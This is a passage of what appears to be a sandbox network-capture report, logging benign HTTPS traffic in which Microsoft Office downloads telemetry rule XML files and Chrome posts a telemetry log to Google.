65	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:19 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:19 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145919Z-16849878b78bcpfn2qf7sm6hsn00000009q000000000tc6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:19 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:19 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:19 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145919Z-16849878b78wc6ln1zsrz6q9w800000007v000000000gacc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:19 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e176ca7a-701e-0097-7bca-26b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-r197bdfb6b4qbfppwgs4nqza8000000006rg00000000htfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:41 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:19 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:19 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145919Z-16849878b782d4lwcu6h6gmxnw00000007z00000000000e7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:19 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:41 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-16849878b78qfbkc5yywmsbg0c00000007y0000000004167 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:41 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:20 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 3281a84b-401e-0029-700c-289b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145920Z-17c5cb586f6mhqqby1dwph2kzs00000003dg00000000ghds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:20 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 24f7a248-a01e-0053-7a83-298603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145920Z-17c5cb586f6mhqqby1dwph2kzs00000003gg0000000088x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:20 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:20 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145920Z-16849878b78nzcqcd7bed2fb6n00000000qg0000000040b9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:20 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49804	142.250.186.174	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:21 UTC	902	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 909 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=ooZhsAFYGeXAk0Fd4oPcp4e4wTGDef_ugwZcK0SYtp6JS7f9fv7Z-SUwjl6wo0GFsHtsSIedpvFqct4xcRsPFXFmLe9V2NkGQhV-82EYwdDVUsjDLID9yPxQqjIgN30P7myeMvGUT_YdLgj0LECI1dTp68KgYGfHxvYvQo3Fqv5C3QM0cg
2024-10-30 14:59:21 UTC	909	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 30 30 33 35 37 39 34 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730300357949",null,null,null,
2024-10-30 14:59:21 UTC	944	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=OtVOlHJ0Y50VXFMZgpzNamD_sv7iJ_5FgvyfFNk_J1xaEFm6o9OM1qrhxdy3k5ZiKwkVK4eX0C5a8DZu8YIIGqfkRx4AFMru6jnNCCagy2g-E_sdRrF_qKdvDSFOWHNLa54aZWjpdInkSNE3vUSmNwwCxgVt1LWT-QVtt1S1J7n8y85gf0Qp_zJU0A; expires=Thu, 01-May-2025 14:59:21 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 14:59:21 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 14:59:21 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 14:59:21 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 14:59:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:21 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145921Z-16849878b78fssff8btnns3b1400000008dg00000000mmu1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">
2024-10-30 14:59:41 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:42 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:41 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: c0393789-401e-0067-527f-2a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145941Z-r197bdfb6b4grkz4xgvkar0zcs00000007y0000000005hc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:42 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 